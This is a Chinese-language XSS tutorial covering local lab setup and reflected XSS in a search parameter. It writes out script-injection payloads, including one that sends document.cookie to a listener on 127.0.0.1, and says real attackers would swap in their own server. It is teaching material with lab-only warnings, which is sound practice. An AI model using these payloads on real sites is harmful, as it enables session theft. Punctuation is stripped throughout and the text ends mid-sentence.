★ FEATURED ARTICLE 1. 靶场搭建与测试环境准备先说个实在话搞XSS攻防这件事最忌讳的就是拿线上业务练手。我在刚入门那会儿也犯过这毛病总觉得自己构造的payload人畜无害结果差点把一个内部系统的会话状态搞崩。后来痛定思痛老老实实配了一套本地靶场环境从那以后所有测试都在自家地盘里折腾随便怎么打都不心疼。所谓“靶场”说白了就是一台专门用来练手的Web应用环境里面故意留了一些常见的漏洞点供安全测试人员合法地模拟攻击。行业里常用的有开源靶场系统也有人在本地手动搭一个带漏洞的测试页。我自己的习惯是两手都用靶场系统覆盖面广能练各种场景自建测试页则更容易控制变量适合针对性地研究某个特定的绕过技巧。在正式开始之前先把环境清单列一下照着准备就行操作系统我用的是Windows 10宿主机里面跑一台虚拟机装Linux作为Web服务器网络模式设为仅主机模式保证靶场完全不暴露到外部网络。Web服务端部署Nginx加PHP环境一来是轻量级二来是很多经典XSS案例在PHP环境下复现起来比较方便。靶场程序一套开源的Web漏洞靶场系统包含反射型XSS、存储型XSS、DOM型XSS等多个演练模块。浏览器Chrome为主Firefox为辅两个都装上开发者工具的相关扩展后面分析流量和调试注入点都用得上。辅助工具Burp Suite社区版主要用来拦截和修改HTTP请求另外备一个本地的HTTP抓包工具有些场景下看原始报文比看浏览器开发者工具更直观。1.1 靶场环境的核心作用为什么强烈建议用靶场而不是直接拿真实系统测试最核心的考量是安全边界。靶场环境是一个完全隔离、可控的沙箱你在这里做的所有操作都不会影响到真实业务也不会触碰任何法律红线。同时靶场里的漏洞点都是预先设计好的每个模块都有明确的考核目标这比在真实系统里漫无目的地寻找注入点要高效得多。说个我当时练习时的具体场景靶场里有一个“留言板”模块明摆着就是用来练存储型XSS的。我在留言内容里写入一段测试用的脚本然后以另一个低权限账号登录访问留言板脚本在浏览器里被执行从而模拟了“攻击者注入、受害者触发”的完整攻击链路。整个过程都在自家虚拟机里完成边界清晰配合抓包工具还能实时观察到Cookie的传输细节。另一个要注意的点是靶场版本的差异。有些老版本靶场自带的防护机制和现在的主流Web应用差别比较大练出来的手感不一定贴合实际工作。我的建议是以某项主流靶场系统为主体再在本地手动搭一些模拟现代Web框架的测试页两边结合起来练。比如模拟前端渲染框架下的DOM XSS时我会写一个简单的数据绑定页面把URL参数直接拼进页面渲染逻辑里这种场景在真实业务里其实更常见。1.2 调试工具链与请求拦截方案XSS调试说白了就是一个“发请求、看响应、调载荷”的循环过程工具链好不好用直接影响到效率。我的核心工具是Burp Suite但用得比较基础主要就是拦截HTTP请求、修改参数、重放请求这三件事。举个例子在反射型XSS模块里我先在搜索框输入一个普通的关键词比如“test”提交后Burp拦截到这条GET请求能看到请求行、请求头和请求参数。然后在Burp里把参数值改成测试用的payload再放行浏览器收到响应后就会在页面上弹出测试弹窗。整个过程不到一分钟就能完成一次试探效率比直接在浏览器里改URL高很多。这里说几个Burp使用中的细节拦截开关默认是开启的但如果会话量太大可以临时关掉拦截等需要测试某个具体请求时再打开。修改参数时先确认参数名和提交方式别把GET参数当成POST参数改了那样请求会直接报错。Intercept面板里可以直接看原始HTTP报文响应里有没有对特殊字符做处理一目了然这对判断输入点的过滤强度很有帮助。除了Burp浏览器的开发者工具也是必须熟练使用的。尤其是在分析DOM型XSS时光看服务端返回的HTML是不够的要结合Sources面板里的前端代码和Console面板里的报错信息综合判断。比如有一段前端代码把URL参数直接通过字符串拼接写进了HTML里那就要在Sources里找到这段代码确认注入点在哪里再决定用什么样的payload去触发。注意所有调试和测试操作均须在本地靶场环境中进行严禁对任何未经授权的线上系统发起测试。2. 反射型XSS的原理与靶场实战反射型XSS在三种类型里属于门槛最低、理解成本也最低的我建议每一个新手都从这类开始练手。它的命名“反射”二字其实已经很直白地描述了攻击过程攻击者把恶意脚本作为参数发给目标而Web应用像镜子一样把这个参数“反射”到响应页面里脚本在用户浏览器里被执行。脚本只是被临时拼到页面里并没有被保存在服务器上——无论是数据库、文件还是内存谁也没留着它。这就像你对着一个传声筒喊了一句话传声筒把你这句话一字不差地广播出去听到的人如果是目标用户就相当于“中招”了。因为脚本没有被持久化攻击者往往需要配合钓鱼链接等手段诱使受害者主动打开那个带有恶意参数的URL。用专业一点的话说反射型XSS的典型特点是“一次性”和“非持久化”。2.1 搜索框与URL参数注入实验靶场里最经典的反射型XSS练习点就是搜索框。因为搜索功能的实现方式通常是这样用户在输入框里输入关键词表单把这个关键词放在URL参数里提交给服务器服务器在返回的搜索结果页面上把用户输入的关键词原样回显出来。我在靶场里做了这样一个完整实验首先在搜索框输入一个普通的关键词“hello”点击搜索观察一下URL的变化。能够看到地址栏里出现了searchhello这样的参数结构页面顶部显示“您搜索的关键词是hello”之类的结果。这一步的核心目的是确认用户输入是否会被原样反射到响应页面中如果答案是肯定的那就说明这是一个XSS注入点。接下来做第二步直接修改URL参数把search参数的值从“hello”替换成一段简单的测试脚本。绕过输入框只是为了效率考虑因为直接在URL里改参数比每次都在输入框里重新输入要快得多。这里的测试脚本用的是最基本的一段JavaScript弹窗代码scriptalert(xss)/script但要注意一个坑如果在Burp的拦截面板里直接修改参数值默认情况下这段尖括号和双引号都可能被当作普通字符原样放进请求里。但如果在浏览器的地址栏里直接改URL浏览器自身会对一些特殊字符做编码处理需要先对尖括号做URL编码最后的参数值看起来会像是这样search%3Cscript%3Ealert(xss)%3C/script%3E服务端收到之后会做一次URL解码把%3C还原成%3E还原成然后拼进页面里。页面加载时浏览器解析到这段script标签就会执行其中的JavaScript代码。于是alert弹窗出现了。弹窗出现意味着什么说明在搜索关键词这个注入点上服务端没有对用户输入做任何过滤或编码就原样输出了。这时候可以继续深化实验不弹窗改成窃取Cookie的payload。靶场里我用的测试载荷是向本地监听端口发送Cookie信息scriptnew Image().srchttp://127.0.0.1:8888/?cdocument.cookie/script这段代码的逻辑非常轻巧创建一个Image对象并把src设置为一个本地地址浏览器在加载图片时会发起一个GET请求请求的URL参数里带着当前页面的Cookie。由于是同源页面下的脚本document.cookie可以读到当前域名的Cookie值。我在本地起了一个简单的HTTP监听服务就能看到请求日志里带着Cookie数据。注意上述操作仅在本地靶场完成。覆盖了真实用户帮忙演示Cookie是如何被窃取的。在实际环境中攻击者会把接收地址改成自己控制的服务器而不是本地的127.0.0.1。2.2 反射型XSS的绕过与防护分析反射型XSS的进阶内容就是绕过过滤。现实中几乎没有任何一个正常业务会在参数回显时完全不加处理所以练好绕过技巧才能真正评估一个系统的安全性。先看最常见的过滤方式过滤script标签。这种做法会把请求或响应中的
阅读完成 · 觉得有帮助？
